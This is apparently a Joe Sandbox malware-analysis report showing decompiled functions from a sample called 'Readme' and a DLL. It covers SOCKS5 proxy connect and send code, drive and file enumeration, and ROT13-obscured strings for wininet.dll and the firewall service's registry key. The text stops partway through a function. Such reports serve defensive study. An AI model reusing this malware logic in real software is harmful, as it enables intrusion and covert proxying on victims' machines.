Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: CloseOpenValue
String ID: Flfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprff$Start
API String ID: 779948276-912140713
Opcode ID: e296dfc2d9eb7ef9e349c09ed36716ed2307b031d9a666ead56965e2f71c0cc2
Instruction ID: 3e2d9bc1c4b7ca1d7eb8bd648e7caadb70e702096ae42ff705bea3b0919a5c49
Opcode Fuzzy Hash: e296dfc2d9eb7ef9e349c09ed36716ed2307b031d9a666ead56965e2f71c0cc2
Instruction Fuzzy Hash: 7101DBF0808315DBD710EF25C58575EBBF4BB44348F40C96DE988A7242E7789A4C8F56

Uniqueness

Uniqueness Score: -1.00%

Function 00405316 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405316(char* __ebx) {
				void* _v8;
				char _v76;
				intOrPtr _v88;
				int _t5;
				char* _t9;
				char* _t11;
				char* _t13;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr* _t16;
				char** _t17;

				_t15 = _t14 - 0x54;
				_v88 = 0x40;
				_t11 =  &_v76;
				 *_t15 = _t11;
				_t5 = gethostname(__ebx, ??);
				_t16 = _t15 - 8;
				 *_t16 = _t11;
				L004086D8();
				_t17 = _t16 - 4;
				_t13 = "192.168.1.2";
				if(_t5 != 0) {
					_t9 =  *( *( *(_t5 + 0xc)));
					 *_t17 = _t9;
					L004086E0();
					_t13 = _t9;
				}
				return _t13;
			}

0x0040531a
0x0040531d
0x00405325
0x00405328
0x0040532b
0x00405330
0x00405333
0x00405336
0x0040533b
0x0040533e
0x00405345
0x0040534c
0x0040534e
0x00405351
0x00405359
0x00405359
0x00405361

APIs

gethostname.WS2_32 ref: 0040532B
gethostbyname.WS2_32 ref: 00405336
inet_ntoa.WS2_32 ref: 00405351

Strings

@, xrefs: 0040531D
192.168.1.2, xrefs: 0040533E

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: gethostbynamegethostnameinet_ntoa
String ID: 192.168.1.2$@
API String ID: 289322838-3711723240
Opcode ID: 08511f6a8ca575260eebd435f8fc3ef842af75c020395b93753436b22eaa97bc
Instruction ID: 9ec42d045907c7db8908afb764d072bf234eb471670fc80d8c874dbff0fee724
Opcode Fuzzy Hash: 08511f6a8ca575260eebd435f8fc3ef842af75c020395b93753436b22eaa97bc
Instruction Fuzzy Hash: 7EE030B0A04B048FC700FF39C6C650ABBF4AF44348F06487DE986A7355EA38E9088B57

Uniqueness

Uniqueness Score: -1.00%

Function 10001451 Relevance: 7.6, APIs: 5, Instructions: 65
networkCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E10001451(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, signed int _a4, intOrPtr _a8, signed int _a12, signed short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed short _v30;
				intOrPtr _v56;
				short _v58;
				void _v60;
				int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				signed short* _v100;
				signed int _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				signed int _t35;
				void* _t40;
				signed int _t51;
				signed int _t60;
				void* _t62;
				void* _t63;
				signed int* _t65;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t60 = _a12;
				_t35 = _a16 & 0x0000ffff;
				_v30 = _t35;
				_v84 = 0;
				_v88 = 1;
				_v92 = 2;
				L1000301C();
				_t63 = _t62 - 0xc;
				_t51 = _t35;
				if(_t35 != 0xffffffff) {
					asm("cld");
					memset( &_v60, 0, 4 << 2);
					_v60 = 2;
					_v56 =  *_t60;
					_v58 = _v30 & 0x0000ffff;
					_v96 = 0x10;
					_t40 =  &_v60;
					_v100 = _t40;
					_v104 = _t51;
					L10003024();
					_t65 = _t63 + 0xc - 0xc;
					if(_t40 == 0xffffffff) {
						_v100 =  &_v30;
						_v104 = _t60;
						_v108 = _a8;
						_v112 = 5;
						 *_t65 = _a4;
						E1000140F();
						 *_t65 = _t51;
						L10003014();
						_t51 = 0xffffffff;
					}
				} else {
					E1000140F(_a4, 1, _a8, _t60,  &_v30);
				}
				return _t51;
			}

0x10001457
0x1000145a
0x1000145d
0x10001460
0x10001463
0x10001467
0x1000146b
0x10001473
0x1000147b
0x10001482
0x10001487
0x1000148a
0x1000148f
0x100014bb
0x100014c6
0x100014c8
0x100014d0
0x100014d7
0x100014db
0x100014e3
0x100014e6
0x100014ea
0x100014ed
0x100014f2
0x100014f8
0x100014fd
0x10001501
0x10001508
0x1000150c
0x10001517
0x1000151a
0x1000151f
0x10001522
0x1000152a
0x1000152a
0x10001491
0x100014b1
0x100014b1
0x1000153d

APIs

socket.WS2_32 ref: 10001482
Socks5SendCode.SHERVANS ref: 100014B1

Part of subcall function 1000140F: swrite.SHERVANS ref: 1000144A

connect.WS2_32 ref: 100014ED
Socks5SendCode.SHERVANS ref: 1000151A
closesocket.WS2_32 ref: 10001522

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: CodeSendSocks5$closesocketconnectsocketswrite
String ID:
API String ID: 1690081365-0
Opcode ID: 226da635e8a6871d8eb6d44e768528b8faa0e03256744c755adbe7396fca87cb
Instruction ID: 20981c635e85231f24b59aa8ab89d4f0d4c72e8356007f7a924271a659283d8c
Opcode Fuzzy Hash: 226da635e8a6871d8eb6d44e768528b8faa0e03256744c755adbe7396fca87cb
Instruction Fuzzy Hash: 5821C6B5904309ABDB00DFA8D48429EBBF4FF48360F108A2EF99897391D375A954DB52

Uniqueness

Uniqueness Score: -1.00%

Function 004028E2 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 44stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 004028F6
lstrcat.KERNEL32 ref: 00402910
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402929

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

L@, xrefs: 004028FE
admin@bigtits.com, xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$ConnectedHandleInternetLibraryLoadModuleSleepState
String ID: L@$admin@bigtits.com
API String ID: 2287753751-2810593236
Opcode ID: c4923e9d2adc1735435ee3343d15d9114c514d9cd1cf3e75ac1c13b8b8656890
Instruction ID: f8f521ecf4af99865028921a37a865861f0bf00d847523e115314e8123b3051d
Opcode Fuzzy Hash: c4923e9d2adc1735435ee3343d15d9114c514d9cd1cf3e75ac1c13b8b8656890
Instruction Fuzzy Hash: 8611CE769053198BCB51EF64D9845CEBBF4EF44314F40857BE885A3240EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00404620 Relevance: 7.5, APIs: 5, Instructions: 34
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404620(CHAR* _a4, int _a8, CHAR* _a12) {
				void* _v12;
				void* _v20;
				void* _v24;
				CHAR* _v28;
				int _t13;
				CHAR* _t14;
				int _t15;
				CHAR* _t16;
				void* _t17;
				CHAR** _t20;

				_t16 = _a4;
				_t15 = _a8;
				memset(_t16, 0, _t15);
				_t13 = GetSystemDirectoryA(_t16, _t15);
				_v28 = _t16;
				L0040C310();
				_t20 = _t17 - 4;
				if( *((char*)(_t13 + _t16 - 1)) != 0x5c) {
					_v28 = 0x40f156;
					 *_t20 = _t16;
					L0040C328();
					_t20 = _t20 - 8;
				}
				_t14 = _a12;
				_v28 = _t14;
				 *_t20 = _t16;
				L0040C328();
				return _t14;
			}

0x00404628
0x0040462b
0x0040463d
0x00404649
0x00404651
0x00404654
0x00404659
0x00404661
0x00404663
0x0040466b
0x0040466e
0x00404673
0x00404673
0x00404676
0x00404679
0x0040467d
0x00404680
0x0040468e

APIs

memset.MSVCRT ref: 0040463D
GetSystemDirectoryA.KERNEL32 ref: 00404649
lstrlen.KERNEL32 ref: 00404654
lstrcat.KERNEL32 ref: 0040466E
lstrcat.KERNEL32 ref: 00404680

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$DirectorySystemlstrlenmemset
String ID:
API String ID: 1065462249-0
Opcode ID: 52e21126391f9f1a99804af5917ba2fff1412d2631d262131c3ca1ad05ec0486
Instruction ID: 403430f860fbc260acd97b7d31e4c447ffd2c09bc4da5a50c9a35cc548e728c4
Opcode Fuzzy Hash: 52e21126391f9f1a99804af5917ba2fff1412d2631d262131c3ca1ad05ec0486
Instruction Fuzzy Hash: F8F019B1408714DBD700BF29D98555EBFA4AB44754F40892EFC8867282D3399A588BDB

Uniqueness

Uniqueness Score: -1.00%

Function 10002209 Relevance: 7.5, APIs: 5, Instructions: 34
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002209(CHAR* _a4, int _a8, CHAR* _a12) {
				void* _v12;
				void* _v20;
				void* _v24;
				CHAR* _v28;
				int _t13;
				CHAR* _t14;
				int _t15;
				CHAR* _t16;
				void* _t17;
				CHAR** _t20;

				_t16 = _a4;
				_t15 = _a8;
				memset(_t16, 0, _t15);
				_t13 = GetSystemDirectoryA(_t16, _t15);
				_v28 = _t16;
				L10003570();
				_t20 = _t17 - 4;
				if( *((char*)(_t13 + _t16 - 1)) != 0x5c) {
					_v28 = 0x1000508e;
					 *_t20 = _t16;
					L10003578();
					_t20 = _t20 - 8;
				}
				_t14 = _a12;
				_v28 = _t14;
				 *_t20 = _t16;
				L10003578();
				return _t14;
			}

0x10002211
0x10002214
0x10002226
0x10002232
0x1000223a
0x1000223d
0x10002242
0x1000224a
0x1000224c
0x10002254
0x10002257
0x1000225c
0x1000225c
0x1000225f
0x10002262
0x10002266
0x10002269
0x10002277

APIs

memset.MSVCRT ref: 10002226
GetSystemDirectoryA.KERNEL32 ref: 10002232
lstrlen.KERNEL32 ref: 1000223D
lstrcat.KERNEL32 ref: 10002257
lstrcat.KERNEL32 ref: 10002269

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: lstrcat$DirectorySystemlstrlenmemset
String ID:
API String ID: 1065462249-0
Opcode ID: 5b75b92667313997f23b2e058039c06bba9c640d4edaca3627a5a6efffba8954
Instruction ID: 135e321319e3b7b44d062fa0e30293860b296fd840e12ca3df5e4efe39fd7587
Opcode Fuzzy Hash: 5b75b92667313997f23b2e058039c06bba9c640d4edaca3627a5a6efffba8954
Instruction Fuzzy Hash: C9F037B5808B14AAE702FF28D98655EBFA8EF04691F40891DF88847209D735A658CBD3

Uniqueness

Uniqueness Score: -1.00%

Function 10001E04 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

xstrchr.SHERVANS ref: 10001EAA
xstrchr.SHERVANS ref: 10001EEA

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 10001E57
ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 10001E12

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: xstrchr
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ$abcdefghijklmnopqrstuvwxyz
API String ID: 1535612035-4170113403
Opcode ID: bc1ef4a9f8f1add477f6933fc24e9eacfb8676c16534aea7655073907d0485ef
Instruction ID: a9ec9f0fff6549f24d3912a7d9d51164a33b52da91e11de3f78b76783671d1e7
Opcode Fuzzy Hash: bc1ef4a9f8f1add477f6933fc24e9eacfb8676c16534aea7655073907d0485ef
Instruction Fuzzy Hash: 22315E74A052698FDB15CFBCC9C05AEBFF4AB08382F04016AE844D7359E735AA45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 10003150 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

GetAtomNameA.KERNEL32 ref: 1000316F

Part of subcall function 10003430: fprintf.MSVCRT ref: 1000345D
Part of subcall function 10003430: fflush.MSVCRT ref: 1000346D
Part of subcall function 10003430: abort.MSVCRT(?,?,?,?,?,100031CE), ref: 10003472

Strings

../../gcc/gcc/config/i386/w32-shared-ptr.c, xrefs: 100031C0
w32_sharedptr->size == sizeof(W32_EH_SHARED), xrefs: 100031A7
GetAtomNameA (atom, s, sizeof(s)) != 0, xrefs: 100031CE

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: AtomNameabortfflushfprintf
String ID: ../../gcc/gcc/config/i386/w32-shared-ptr.c$GetAtomNameA (atom, s, sizeof(s)) != 0$w32_sharedptr->size == sizeof(W32_EH_SHARED)
API String ID: 2513348418-2567175902
Opcode ID: b5b89244b8b56d368d30c6de513500384bbf397f3e0a96e467b4627a87de939c
Instruction ID: 294674767859e6a3630ece78654cf0563df7f20052ecafb954434dc6b69ec127
Opcode Fuzzy Hash: b5b89244b8b56d368d30c6de513500384bbf397f3e0a96e467b4627a87de939c
Instruction Fuzzy Hash: 77015270A04382ABF705DFA5C08429FBBE4EF893C5F50C83EE5898B759D67988409B46

Uniqueness

Uniqueness Score: -1.00%

Function 00404F0A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39librarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00404F27
LoadLibraryA.KERNEL32 ref: 00404F41
InternetGetConnectedState.WININET ref: 00404F6B

Strings

jvavarg.qyy, xrefs: 00404F11

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ConnectedHandleInternetLibraryLoadModuleState
String ID: jvavarg.qyy
API String ID: 2811557832-2169444084
Opcode ID: 7c6175a941508692fdaf67fbae8ce577e0da1e0ff510d98013a560bc4e03a36a
Instruction ID: fa78873cf606c18224dba544ef8f20ca223ab6e2b08164375e4fcb1cbc50bc80
Opcode Fuzzy Hash: 7c6175a941508692fdaf67fbae8ce577e0da1e0ff510d98013a560bc4e03a36a
Instruction Fuzzy Hash: 03F062B551530486DB10BF359AC629D7AE85F41368F058A3EF8A1A32D2E73CD64CC716

Uniqueness

Uniqueness Score: -1.00%

Function 00403A38 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38sleepCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403A5C
GetDriveTypeA.KERNEL32 ref: 00403A9D
Sleep.KERNEL32 ref: 00403AB1

Part of subcall function 00403790: _mbscpy.MSVCRT ref: 004037D8
Part of subcall function 00403790: memset.MSVCRT ref: 0040383B
Part of subcall function 00403790: FindFirstFileA.KERNEL32 ref: 0040385C
Part of subcall function 00403790: lstrcpy.KERNEL32 ref: 004038CC
Part of subcall function 00403790: _mbscat.MSVCRT ref: 00403910

Strings

C:\, xrefs: 00403A85

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: memset$DriveFileFindFirstSleepType_mbscat_mbscpylstrcpy
String ID: C:\
API String ID: 3442435128-3404278061
Opcode ID: 80ea77316c1bc4b967dddd0ea6824f094094c5e0836f8c07d72c2391017bcb4f
Instruction ID: ed4c8215e4a3680eb399a4dacd5268703db01feabc7491714eb621602a4a9c6d
Opcode Fuzzy Hash: 80ea77316c1bc4b967dddd0ea6824f094094c5e0836f8c07d72c2391017bcb4f
Instruction Fuzzy Hash: 1A015BB0C143AC89DB65AB6588563DEBFB49F01319F0484DED6C826282C7784BD8CFD6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B740 Relevance: 6.4, APIs: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040B740(intOrPtr* _a4) {
				void* _v16;
				void* _v20;
				void* _v24;
				void** _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* __ebx;
				void* __esi;
				intOrPtr _t37;
				long _t39;
				void* _t40;
				void* _t41;
				void* _t43;
				void* _t47;
				void* _t58;
				void** _t61;
				void* _t62;
				intOrPtr* _t64;
				void* _t68;
				intOrPtr* _t72;
				intOrPtr* _t76;
				long* _t77;

				_t37 =  *0x418284;
				_t72 = _a4;
				if(_t37 == 0) {
					E0040B0E0(_t37);
					_t37 =  *0x418284;
					if( *((intOrPtr*)(_t37 + 0x30)) >= 0) {
						goto L2;
					} else {
						goto L18;
					}
					L8:
					if(_t68 == 5) {
						return 5;
					} else {
						if(_t68 != 0) {
							L13:
							_t43 = 3;
							goto L14;
						} else {
							if(_t64 == 0) {
								L5:
								_t41 =  *_v24;
								_v24 = _t41;
								while(1) {
									L6:
									_t64 = 0;
									_t68 = 5;
									if(_t41 != 0) {
										_t64 =  *((intOrPtr*)(_t41 + 0x18));
										_t68 = 0;
									}
									goto L8;
								}
							} else {
								_v40 = _t61;
								_v44 = _t72;
								 *_t76 = 1;
								_v52 =  *_t72;
								_v48 =  *((intOrPtr*)(_t72 + 4));
								_v56 = 1;
								_t47 =  *_t64();
								if(1 == 6) {
									 *((intOrPtr*)(_t72 + 0xc)) = 0;
									 *((intOrPtr*)(_t72 + 0x10)) = _v24;
									_v24 = _v20;
									_t43 = E0040B6B0(_t72, _t61);
									if(_t43 == 7) {
										_t51 =  *0x418284;
										_t62 = _v24;
										if(_t51 == 0) {
											E0040B0E0(_t51);
											_t51 =  *0x418284;
										}
										if( *(_t51 + 0x30) < 0) {
											E0040B3B0(_t62, _t74);
											_t51 =  *0x418284;
										}
										_t74 =  *(_t51 + 0x30);
										if( *(_t51 + 0x30) != 0) {
											_v56 = _t62;
											 *_t76 =  *((intOrPtr*)(_t51 + 0x2c));
											if(TlsSetValue(??, ??) == 0) {
												GetLastError();
											}
										} else {
											 *((intOrPtr*)(_t51 + 0x28)) = _t62;
										}
										_t51 = _v24;
										_t76 =  *((intOrPtr*)(_v24 + 0x28));
										goto __ecx;
									}
									L14:
									return _t43;
								} else {
									if(_t47 == 8) {
										goto L5;
									} else {
										goto L13;
									}
								}
							}
						}
					}
				} else {
					if( *((intOrPtr*)(_t37 + 0x30)) < 0) {
						L18:
						E0040B3B0(_t58, _t74);
						_t37 =  *0x418284;
					}
				}
				L2:
				if( *((intOrPtr*)(_t37 + 0x30)) != 0) {
					_t39 = GetLastError();
					 *_t76 =  *((intOrPtr*)(_t37 + 0x2c));
					_t74 = _t39;
					_t40 = TlsGetValue(??);
					_t77 = _t76 - 4;
					 *_t77 = _t39;
					SetLastError(??);
					_t41 = _t40;
					_t76 = _t77 - 4;
				} else {
					_t41 =  *(_t37 + 0x28);
				}
				_v20 = _t41;
				_t61 =  &_v24;
				_v24 = _t41;
				goto L6;
			}

0x0040b749
0x0040b74e
0x0040b753
0x0040b81c
0x0040b821
0x0040b82b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b798
0x0040b79b
0x0040b7ef
0x0040b79d
0x0040b79f
0x0040b7d6
0x0040b7d6
0x00000000
0x0040b7a1
0x0040b7a3
0x0040b780
0x0040b783
0x0040b785
0x0040b788
0x0040b788
0x0040b788
0x0040b78c
0x0040b791
0x0040b793
0x0040b796
0x0040b796
0x00000000
0x0040b791
0x0040b7a5
0x0040b7a5
0x0040b7a9
0x0040b7b2
0x0040b7b9
0x0040b7c2
0x0040b7c6
0x0040b7ca
0x0040b7cf
0x0040b840
0x0040b84c
0x0040b852
0x0040b857
0x0040b85f
0x0040b865
0x0040b86a
0x0040b86f
0x0040b893
0x0040b898
0x0040b898
0x0040b876
0x0040b8be
0x0040b8c3
0x0040b8c3
0x0040b878
0x0040b87d
0x0040b8a2
0x0040b8a6
0x0040b8b4
0x0040b8b6
0x0040b8b6
0x0040b87f
0x0040b87f
0x0040b87f
0x0040b882
0x0040b88e
0x0040b891
0x0040b891
0x0040b7db
0x0040b7e2
0x0040b7d1
0x0040b7d4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b7d4
0x0040b7cf
0x0040b7a3
0x0040b79f
0x0040b759
0x0040b75e
0x0040b831
0x0040b831
0x0040b836
0x0040b836
0x0040b75e
0x0040b764
0x0040b769
0x0040b7f3
0x0040b7f9
0x0040b7fc
0x0040b7fe
0x0040b804
0x0040b809
0x0040b80c
0x0040b812
0x0040b814
0x0040b76f
0x0040b76f
0x0040b76f
0x0040b772
0x0040b775
0x0040b778
0x00000000

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a37cc761da05d28123ec6793a1aa2a7504f56957f8d3d69b3e88f2f85eb7ef
Instruction ID: 45d732202371662b8addf3eaaaff00240ebc5fc11857fefe16626fd26bfd471c
Opcode Fuzzy Hash: 93a37cc761da05d28123ec6793a1aa2a7504f56957f8d3d69b3e88f2f85eb7ef
Instruction Fuzzy Hash: C4413A75A002058FCB44EF69D684A6AB7F5FB88310F15857ED805AB3A1D738ED01CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B9C0 Relevance: 6.4, APIs: 5, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040B9C0(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v40;
				intOrPtr _t39;
				long _t41;
				void* _t42;
				void* _t43;
				void* _t47;
				void* _t54;
				void* _t64;
				intOrPtr _t73;
				intOrPtr* _t79;
				long* _t80;

				_t59 = __ebx;
				_v8 = __edi;
				_t73 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t39 =  *0x418284;
				if(_t39 == 0) {
					E0040B0E0(_t39);
					_t39 =  *0x418284;
					_t76 =  *(_t39 + 0x30);
					if( *(_t39 + 0x30) >= 0) {
						L2:
						if( *(_t39 + 0x30) != 0) {
							L9:
							_t41 = GetLastError();
							 *_t79 =  *((intOrPtr*)(_t39 + 0x2c));
							_t76 = _t41;
							_t42 = TlsGetValue(??);
							_t80 = _t79 - 4;
							 *_t80 = _t41;
							SetLastError(??);
							_t43 = _t42;
							_v20 = _t43;
